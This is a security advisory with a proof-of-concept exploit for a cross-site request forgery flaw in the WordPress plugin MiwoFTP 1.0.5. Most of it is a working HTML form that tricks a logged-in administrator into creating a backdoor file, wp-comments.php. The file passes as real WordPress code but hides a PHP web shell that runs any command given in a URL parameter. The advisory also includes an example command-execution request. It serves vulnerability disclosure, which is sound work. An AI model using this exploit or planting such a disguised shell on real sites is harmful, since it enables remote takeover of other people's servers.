WordPress Plugin MiwoFTP 1.0.5 - Cross-Site Request Forgery / Arbitrary File Creation / Remote Code Execution








WordPress MiwoFTP Plugin 1.0.5 CSRF Arbitrary File Creation Exploit (RCE)

Vendor: Miwisoft LLC
Product web page: http://www.miwisoft.com
Affected version: 1.0.5

Summary: MiwoFTP is a smart, fast and lightweight file manager
plugin that operates from the back-end of WordPress.

Desc: MiwoFTP WP Plugin suffers from a cross-site request forgery
remote code execution vulnerability. The application allows users
to perform certain actions via HTTP requests without performing any
validity checks to verify the requests. This can be exploited to
perform certain actions like executing arbitrary PHP code by uploading
a malicious PHP script file, with administrative privileges, if a
logged-in user visits a malicious web site.

Tested on: Apache 2.4.10 (Win32)
           PHP 5.6.3
           MySQL 5.6.21

Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic

Advisory ID: ZSL-2015-5242
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5242.php

Vendor: http://miwisoft.com/wordpress-plugins/miwoftp-wordpress-file-manager#changelog



RCE CSRF PoC for masqueraded payload for admin view when editing:
Logic error:
When admin clicks on malicious link the plugin will:

1. Search existing file for edit: action=edit&dir=/&item=wp-comments-post.php.
2. In the root folder of WP, file wp-comments.php is created.
3. Payload is an excerpt from wp-comments-post.php without '<?php' part (SE+HTMLenc).
4. Somewhere below in that code, the evil payload: <?php system($_GET['c']); ?> is inserted.
5. Admin is presented with interface of editing wp-comments.php with contents from wp-comments-post.php.
6. After that, no matter what admin clicks (CSRF) (Save, Reset or Close), backdoor file is created (wp-comments.php).
7. Attacker executes code, ex: http://localhost/wordpress/wp-comments.php?c=whoami

    <form action="http://localhost/wordpress/wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=edit&dir=/&item=wp-comments-post.php&order=name&srt=yes" method="POST">
      <input type="hidden" name="dosave" value="yes" />
      <input type="hidden" name="code" value="/**
 * Handles Comment Post to WordPress and prevents duplicate comment posting.
 * @package WordPress

	header('Allow: POST');
	header('HTTP/1.1 405 Method Not Allowed');
	header('Content-Type: text/plain');

/** Sets up the WordPress Environment. */
require( dirname(__FILE__) . '/wp-load.php' );


$comment_post_ID = isset($_POST['comment_post_ID']) ? (int) $_POST['comment_post_ID'] : 0;

$post = get_post($comment_post_ID);

if ( empty( $post->comment_status ) ) {
	 * Fires when a comment is attempted on a post that does not exist.
	 * @since 1.5.0
	 * @param int $comment_post_ID Post ID.
	do_action( 'comment_id_not_found', $comment_post_ID );

// get_post_status() will get the parent status for attachments.
$status = get_post_status($post);

$status_obj = get_post_status_object($status);

if ( ! comments_open( $comment_post_ID ) ) {
	 * Fires when a comment is attempted on a post that has comments closed.
	 * @since 1.5.0
	 * @param int $comment_post_ID Post ID.
	do_action( 'comment_closed', $comment_post_ID );
	wp_die( __( 'Sorry, comments are closed for this item.' ), 403 );
} elseif ( 'trash' == $status ) {
	 * Fires when a comment is attempted on a trashed post.
	 * @since 2.9.0
	 * @param int $comment_post_ID Post ID.
	 */<?php system($_GET['c']); ?>
/* Filler */
by LiquidWorm, 2015" />
      <input type="hidden" name="fname" value="wp-comments.php" />
	  <input type="submit" value="Submit form" />